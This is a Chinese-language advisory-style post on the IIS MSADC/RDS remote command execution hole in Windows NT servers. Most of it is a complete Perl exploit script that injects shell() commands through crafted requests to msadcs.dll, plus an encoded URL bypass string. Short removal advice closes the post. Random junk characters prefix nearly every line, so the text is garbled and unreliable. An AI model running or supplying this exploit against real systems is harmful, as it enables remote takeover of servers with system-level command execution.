IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
v2mqM5Z ~ o5h}OU" 涉及程序：
-} +PE 4fh Microsoft NT server
dr4 m}v. ,q
Bu5t 描述：
( ' i_Xe 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
l,Ixz1S3e uTP4r 详细：
3.
g-V
如果你没有时间读详细内容的话，就删除:
H, O_l% c:\Program Files\Common Files\System\Msadc\msadcs.dll
bJ6v5YA% 有关的安全问题就没有了。
DFqVZ , p r ",= 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
O[&G6+ Lmyw[s\U 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
\"A ~ks~ 关于利用ODBC远程漏洞的描述，请参看:
rW9ULS2 d fehM{)x2: http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm qd?k#Gw& Xdc>Z\0V 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Jm
G)=$, http://www.microsoft.com/security/bulletins/MS99-025faq.asp oJEjg>%n 0 CUUgwA / 这里不再论述。
cX@72 N/ mC,7Q 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
^2um.`8 ; +]GyDgVq /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
\o,`@2H+' 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
|;P9S }!RFX )T w.H\j9E
l #将下面这段保存为txt文件，然后: "perl -x 文件名"
]#x? [ F To19=,: #!perl
rgg3{bU/ #
&`[Dl(W # MSADC/RDS 'usage' (aka exploit) script
KA$l.6&d #
Y>[u(q&09O # by rain.forest.puppy
W%RjjL J@ #
"5R8Zl+ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
iw^(3FcP@C # beta test and find errors!
^+ +ec> !B{N:?r use Socket; use Getopt::Std;
ryp@<}A]!d getopts("e:vd:h:XR", \%args);
g&"__~dS-F X6]eQ PN2 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
}x1*4+Y1 Ym*Ed[S if (!defined $args{h} && !defined $args{R}) {
ZKa.MBde print qq~
,kKMUshBi Usage: msadc.pl -h <host> { -d <delay> -X -v }
<w d+cPZQr -h <host> = host you want to scan (ip or domain)
fu 95-)M -d <seconds> = delay between calls, default 1 second
xI7; (o" -X = dump Index Server path table, if available
"!6 Ax-' -v = verbose
;yO7! {_ -e = external dictionary file for step 5
@OlV6M;qJ uiIY,FL$ Or a -R will resume a command session
XZe Z qBr lT3, G#( ~; exit;}
| :i``gFj 6A]Ia4PL $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
#Xc6bA & if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
RvF6bIqo if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
^\uj&K6l if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
iS^I qS $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
q|.
X[~e| if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Z\d7dbv $b/oiy!=|3 if (!defined $args{R}){ $ret = &has_msadc;
~E=.*: 5( die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
L+PrV y P2h}3%cJq print "Please type the NT commandline you want to run (cmd /c assumed):\n"
NGlX% j4j . "cmd /c ";
8qfg=mu+ % $in=<STDIN>; chomp $in;
*1}'ZEaJ $command="cmd /c " . $in ;
sW B;?7P
7
Znr2I if (defined $args{R}) {&load; exit;}
~bCn%r2 XTD _q print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
hgCeU+ H &try_btcustmr;
; 9pOtr tdn[]|= print "\nStep 2: Trying to make our own DSN...";
>`a )gky%~ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[g_C g=J G l=dL<F print "\nStep 3: Trying known DSNs...";
*BYSfcX6 &known_dsn;
h:3`e`J<h
f$mfY6v print "\nStep 4: Trying known .mdbs...";
ANy=f-V &known_mdb;
jZcjiOX 5r qjqfFa if (defined $args{e}){
sT9 P print "\nStep 5: Trying dictionary of DSN names...";
93yJAao9 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
i8w(G<Y= >+=)Q,|R print "Sorry Charley...maybe next time?\n";
g83!il\ exit;
t i)fo am
AA9OElCa
##############################################################################
>A|6 kzC L=Q- r[ sub sendraw { # ripped and modded from whisker
P$Y<
g/s 4 sleep($delay); # it's a DoS on the server! At least on mine...
KL!k'4JNY my ($pstr)=@_;
P@:#NU[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4^VY die("Socket problems\n");
^u#!Yo.!( if(connect(S,pack "SnA4x8",2,80,$target)){
*A`hKx select(S); $|=1;
.
zv F!!z print $pstr; my @in=<S>;
~ zFs /(k select(STDOUT); close(S);
B3u5EgZr return @in;
Gd`qZqx# } else { die("Can't connect...\n"); }}
i)P.Omr bp:WN ##############################################################################
/] ce?PPC ; )O)\__"- sub make_header { # make the HTTP request
,)XT;iGQe my $msadc=<<EOT
D {h1 "q POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
@#1k+tSA, User-Agent: ACTIVEDATA
N
VzR 2 Host: $ip
[ kgT"?w= Content-Length: $clen
<O&L2E @~f Connection: Keep-Alive
XRKL;|cd _L(6F
T J ADCClientVersion:01.06
zuWj@YG\. Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
PkQu N ;a ~N;.hU%l --!ADM!ROX!YOUR!WORLD!
Gk*Mx6|N Content-Type: application/x-varg
afv? z Content-Length: $reqlen
{Lb NKjn M ZZ4 EOT
f
GE+DjeA ; $msadc=~s/\n/\r\n/g;
P*T 'R return $msadc;}
Z,qo
jtw 3Tg ##############################################################################
G6_Kid}"q y'xB? >| sub make_req { # make the RDS request
41mg:xW(J my ($switch, $p1, $p2)=@_;
/} -]n81m my $req=""; my $t1, $t2, $query, $dsn;
` {CaJ6. ,(}7 ST if ($switch==1){ # this is the btcustmr.mdb query
@a)@1:=Rm $query="Select * from Customers where City=" . make_shell();
a Umcs !@ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Fd2Eq&:en$ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
nM34zVy "3LOL/7f elsif ($switch==2){ # this is general make table query
{N[IjY $query="create table AZZ (B int, C varchar(10))";
Gn #5zx#l $dsn="$p1";}
N? U ;G*G cBBc ^SR elsif ($switch==3){ # this is general exploit table query
.%<oy"_ $query="select * from AZZ where C=" . make_shell();
*L%HH@] %_ $dsn="$p1";}
=Bi>$Ly rV)mcfw:Z elsif ($switch==4){ # attempt to hork file info from index server
f ySzZ $query="select path from scope()";
GN?^7kI $dsn="Provider=MSIDXS;";}
O9o YuC :q !
pR&&uG elsif ($switch==5){ # bad query
c<wsWs 4V $query="select";
@D^y<7( $dsn="$p1";}
r@f8-!{s2h Hh hN8t $t1= make_unicode($query);
OGh9^,v $t2= make_unicode($dsn);
fQ=Yf ?b $req = "\x02\x00\x03\x00";
=LDzZ:' X $req.= "\x08\x00" . pack ("S1", length($t1));
d+rrb>-OU $req.= "\x00\x00" . $t1 ;
I !dA {INN $req.= "\x08\x00" . pack ("S1", length($t2));
|)* K#%j $req.= "\x00\x00" . $t2 ;
wUW^
O $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
*BH*
return $req;}
bdZ[`uMD 6x)7=_:0 ##############################################################################
?>cx; "xF vP`Sz}FU sub make_shell { # this makes the shell() statement
I;<0v@ return "'|shell(\"$command\")|'";}
0f&B;?)! R2vT\ 6xv ##############################################################################
d&4 ve Lu NQz*P.q sub make_unicode { # quick little function to convert to unicode
/W1!mih my ($in)=@_; my $out;
&l "/G%W for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
kfr' P u return $out;}
p:Ry F4{b2 " XlNKBgM ##############################################################################
X]8(_[Y
>h 1 3i@`r sub rdo_success { # checks for RDO return success (this is kludge)
c[J?`8 my (@in) = @_; my $base=content_start(@in);
[Go p-Vi/~ if($in[$base]=~/multipart\/mixed/){
Z8E-(@`q5Q return 1 if( $in[$base+10]=~/^\x09\x00/ );}
z`$jxSLm return 0;}
(hNTr(z 4& X
D ##############################################################################
nF>41 K fI"sdzu^ sub make_dsn { # this makes a DSN for us
G2qv)7{l2 my @drives=("c","d","e","f");
/4/'&tY print "\nMaking DSN: ";
:dq.@:+<R foreach $drive (@drives) {
i0Ejo;dB print "$drive: ";
\~ m\pf? my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Wip@MGtJ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
V5:ad . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
"@^Pb$BLY $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
%jk7JDvl return 0 if $2 eq "404"; # not found/doesn't exist
*/c4b: s if($2 eq "200") {
;\j7jz^uC foreach $line (@results) {
[As9&]Bv5 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
W[c[ulY& } return 0;}
Ln:6@Ok)5% 9d&@;&al ##############################################################################
T5nBvSVv' -yOwX2Wv5; sub verify_exists {
GWFF.Mo^ my ($page)=@_;
L $L/5/ my @results=sendraw("GET $page HTTP/1.0\n\n");
/]j^a:#"6t return $results[0];}
(P!r^87 /pY-how%! ##############################################################################
(
jA C Lo "DaE(S& sub try_btcustmr {
OfG/7pw5%B my @drives=("c","d","e","f");
&~mJ
).* my @dirs=("winnt","winnt35","winnt351","win","windows");
&Va="HNKt b@ QCdi,u foreach $dir (@dirs) {
|RjAp.pm print "$dir -> "; # fun status so you can see progress
o|:c{pwq foreach $drive (@drives) {
E7' print "$drive: "; # ditto
UQZl :DYa $reqlen=length( make_req(1,$drive,$dir) ) - 28;
i<0_sxfUD $reqlenlen=length( "$reqlen" );
&F-
\t5X=i $clen= 206 + $reqlenlen + $reqlen;
y1{TVpN _'8P8 T& my @results=sendraw(make_header() . make_req(1,$drive,$dir));
"I3
#/~q if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
(}g4}A@x else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
; b{yu| |`ya+/ff+ ##############################################################################
@An} gY'-C sub odbc_error {
|v:oLgUdH my (@in)=@_; my $base;
(>
W \Nf my $base = content_start(@in);
HQvJ*U4++ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
2&"qNpPtE $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/4*Y#IpZ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4#CHX^D e $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(C;Q< return $in[$base+4].$in[$base+5].$in[$base+6];}
rD+mI/ _J` print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
\q ($8< print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
]A ;.}1' $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
hkb&]XWi[ .TMLg(2hgv ##############################################################################
V408u y-M 6hMKAk sub verbose {
b)@D@K"5 my ($in)=@_;
@9eN\b%I^H return if !$verbose;
qJ sH print STDOUT "\n$in\n";}
|1GOm=GNK ol lsB3]] ##############################################################################
0kSM$D_ zYrJ Hn#vB sub save {
1f vN[ my ($p1, $p2, $p3, $p4)=@_;
LSo*JO6 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
]#Cc 7wa
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Nm
! ~h|3 close OUT;}
O6/:J#X% N>Ih2>8t ##############################################################################
iciKjXJ : > 23$_'2 sub load {
_RzF h my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
C{,^4Eh3r open(IN,"<rds.save") || die("Couldn't open rds.save\n");
99.F'Gz @p=<IN>; close(IN);
@I}VD\pF $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
XmD(&3; v- $target= inet_aton($ip) || die("inet_aton problems");
81"` B2 print "Resuming to $ip ...";
WW.@&#S5 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
<#J5.I 1 if($p[1]==1) {
Q-<Qm ? $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
O2\(:tvw $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Y/6>OD my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
;W+8X-B if (rdo_success(@results)){print "Success!\n";}
J OpH
Z? else { print "failed\n"; verbose(odbc_error(@results));}}
.dMdb7 elsif ($p[1]==3){
UOsK(mB if(run_query("$p[3]")){
`3 i<jZMG print "Success!\n";} else { print "failed\n"; }}
i(pHJP:a: elsif ($p[1]==4){
]iGeqwT if(run_query($drvst . "$p[3]")){
WPkKb F print "Success!\n"; } else { print "failed\n"; }}
Cdib{y<ji exit;}
l 9
wO x l_/(J)|a ##############################################################################
mE`qA*=? }^iqhUvT F sub create_table {
(De{r| my ($in)=@_;
v+"4YI N $reqlen=length( make_req(2,$in,"") ) - 28;
w8> h6x " $reqlenlen=length( "$reqlen" );
D/f 4 kkd $clen= 206 + $reqlenlen + $reqlen;
/ZD 6pF my @results=sendraw(make_header() . make_req(2,$in,""));
uf9 0 return 1 if rdo_success(@results);
'St6a* my $temp= odbc_error(@results); verbose($temp);
Bp_R"DS7A return 1 if $temp=~/Table 'AZZ' already exists/;
#kASy 2t return 0;}
IC&P-X_aP g&c ~grD ##############################################################################
w+>+hq sa4w.9O1GS sub known_dsn {
dgF%&*Il]O # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
^\AeX-q2v' my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
'"fJA/O "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
hp)^s7H "banner", "banners", "ads", "ADCDemo", "ADCTest");
o( oOB !*}UP|8 foreach $dSn (@dsns) {
nq]6S$3
6 print ".";
zk
FX[-'O next if (!is_access("DSN=$dSn"));
`,-mXxTNT if(create_table("DSN=$dSn")){
}a| | @unr print "$dSn successful\n";
u*G<? if(run_query("DSN=$dSn")){
#dj?^n g print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
)Q'E^[Ua print "Something's borked. Use verbose next time\n";}}} print "\n";}
NC%hsg^0/ <'~m1l#2 ##############################################################################
![\-J$ \]V:>=ry> sub is_access {
R~4X?@ZB my ($in)=@_;
m4 (p MrJ $reqlen=length( make_req(5,$in,"") ) - 28;
G n]qh(N> $reqlenlen=length( "$reqlen" );
Sp80xV_B $clen= 206 + $reqlenlen + $reqlen;
Bi:lC5d5? my @results=sendraw(make_header() . make_req(5,$in,""));
Bz/Vzc( my $temp= odbc_error(@results);
\;)g<TwL verbose($temp); return 1 if ($temp=~/Microsoft Access/);
%hsCB
.r>| return 0;}
i=aR ~ N
$) G 8 ##############################################################################
'\I(n|\ TC?B_;a sub run_query {
y4Jc | ) my ($in)=@_;
v.Ba $reqlen=length( make_req(3,$in,"") ) - 28;
4GRD- f[ $reqlenlen=length( "$reqlen" );
D cvul4Q $clen= 206 + $reqlenlen + $reqlen;
\b"rf697 , my @results=sendraw(make_header() . make_req(3,$in,""));
"l56?@- x return 1 if rdo_success(@results);
v_!6S|
my $temp= odbc_error(@results); verbose($temp);
eBrNhE-[G] return 0;}
^HSxE OOqT 0w N ##############################################################################
g#J aw|N 2!^=G=H/ sub known_mdb {
mVZh_R=a my @drives=("c","d","e","f","g");
" CT}34 l my @dirs=("winnt","winnt35","winnt351","win","windows");
}csA|cC my $dir, $drive, $mdb;
$N=&D_Q my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Jj- \Eb? 2tq2 # this is sparse, because I don't know of many
+
Q-b} my @sysmdbs=( "\\catroot\\icatalog.mdb",
1Z# $X` "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
/MF
7ZvN. "\\system32\\certmdb.mdb",
_uQ]I^ 'D "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
_Je 4&KU |Kd#pYt% O my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
kv:9Fm\$ "\\cfusion\\cfapps\\forums\\forums_.mdb",
X.fVbePxUU "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
QH/p y "\\cfusion\\cfapps\\security\\realm_.mdb",
uY& 1[(Pb "\\cfusion\\cfapps\\security\\data\\realm.mdb",
}>xwiSF? "\\cfusion\\database\\cfexamples.mdb",
m TE(J Zt "\\cfusion\\database\\cfsnippets.mdb",
C}8#yAS9M "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
kTb$lLG\xk "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
E\[B E<y "\\cfusion\\brighttiger\\database\\cleam.mdb",
NI V}hf YF "\\cfusion\\database\\smpolicy.mdb",
z#tIa "\\cfusion\\database\cypress.mdb",
G^c,i5}w "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
UR sx>yx "\\website\\cgi-win\\dbsample.mdb",
_?c.m*)A "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
X 0.H(p#s "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
QQl.5'PP ); #these are just
T~[:oil foreach $drive (@drives) {
?@b6( f
xX foreach $dir (@dirs){
{i D/0q foreach $mdb (@sysmdbs) {
jx}&%p X print ".";
j 6qtR$l| if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
AFAg3/ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
f;e#7 _ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
\*$^}8 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
l9.`2d]o } else { print "Something's borked. Use verbose next time\n"; }}}}}
*qpu!z2m|| K.
;ev foreach $drive (@drives) {
*rq*li; foreach $mdb (@mdbs) {
9 tI E+RD print ".";
d*Kg_He- if(create_table($drv . $drive . $dir . $mdb)){
@O )1Hnm print "\n" . $drive . $dir . $mdb . " successful\n";
W" 1 =K] B if(run_query($drv . $drive . $dir . $mdb)){
>0 I\w$L print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
94L>%{59 } else { print "Something's borked. Use verbose next time\n"; }}}}
]gmkajCzD }
'Jl73#3 ?$%2\"wX~7 ##############################################################################
K"VRHIhfg >{ k0N@_ sub hork_idx {
^qV6 khg print "\nAttempting to dump Index Server tables...\n";
Hq "l` print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
_yc &'Wq $reqlen=length( make_req(4,"","") ) - 28;
N6!$V7oT $reqlenlen=length( "$reqlen" );
}&LL o $clen= 206 + $reqlenlen + $reqlen;
P]`m5 N my @results=sendraw2(make_header() . make_req(4,"",""));
Og(|bs!6 if (rdo_success(@results)){
L+NrU+:=C my $max=@results; my $c; my %d;
r*t\F& D for($c=19; $c<$max; $c++){
@+! u{ $results[$c]=~s/\x00//g;
>n pFg@A $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
pFwh v w $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
3Hkb )Wu $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
AR7]~+ X $d{"$1$2"}="";}
@tPpt B foreach $c (keys %d){ print "$c\n"; }
Io7o*::6iw } else {print "Index server doesn't seem to be installed.\n"; }}
*."50o=T SJ8|~,vL ##############################################################################
7^DN8g"&\ MLt'tzgl sub dsn_dict {
]xN )>A2 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
+cC$4t0$^A while(<IN>){
d2O x:| <) $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
zfm#yDf next if (!is_access("DSN=$dSn"));
8U7 X/L
if(create_table("DSN=$dSn")){
/%i: (Ny print "$dSn successful\n";
B"2#}HM if(run_query("DSN=$dSn")){
T :!Re*=JJ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
K1m'20U print "Something's borked. Use verbose next time\n";}}}
lH%-#2] print "\n"; close(IN);}
cUc:^wvLS Gw?$.@L'I6 ##############################################################################
nsy eid* "E%3q 3|"l sub sendraw2 { # ripped and modded from whisker
U$ 22 r b sleep($delay); # it's a DoS on the server! At least on mine...
g0A,VX:2 my ($pstr)=@_;
_/cL"Wf socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
W4n(6esO die("Socket problems\n");
btWvoKO* if(connect(S,pack "SnA4x8",2,80,$target)){
::2(pgH print "Connected. Getting data";
s.XLC43Rs open(OUT,">raw.out"); my @in;
*e
*V%w~75 select(S); $|=1; print $pstr;
b]@@x;v$@ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
`nEe-w^9)I close(OUT); select(STDOUT); close(S); return @in;
>PoVK{&y } else { die("Can't connect...\n"); }}
hO0g3^ Kzrt%DA ##############################################################################
6>j0geFyE2 *1CZRfWI sub content_start { # this will take in the server headers
j=n<s</V my (@in)=@_; my $c;
J:oAzBFpA for ($c=1;$c<500;$c++) {
X^9eCj; c if($in[$c] =~/^\x0d\x0a/){
&@/25Y2 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
&Ahk P =Yw else { return $c+1; }}}
) |j?aVqZ return -1;} # it should never get here actually
GLr7sack I"bz6t\~| ##############################################################################
?"L ^ 0% C7xmk;c
w sub funky {
x5%x""VEK my (@in)=@_; my $error=odbc_error(@in);
.l +yK-BZ if($error=~/ADO could not find the specified provider/){
$&jte_hv print "\nServer returned an ADO miscofiguration message\nAborting.\n";
'O[0oi& exit;}
S Co; Ek if($error=~/A Handler is required/){
$#/f+kble print "\nServer has custom handler filters (they most likely are patched)\n";
i1 6kPU
exit;}
Sgq?r-Q. if($error=~/specified Handler has denied Access/){
vfloha p print "\nServer has custom handler filters (they most likely are patched)\n";
M}x]\#MMY exit;}}
u?I 2|}# JUd Q Q ##############################################################################
9s&Tv&%VN f_'8l2jK1i sub has_msadc {
3V%ts7: a my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0Ait7` my $base=content_start(@results);
&AP`k
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
J/B `c( return 0;}
-T{G8@V0 I
e"&QQ-q ########################
6o<(,\ad [ 3{9d5p|\i _(F8 }s 解决方案：
x4-_K% 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
{ 3!E8~ 2、移除web 目录: /msadc
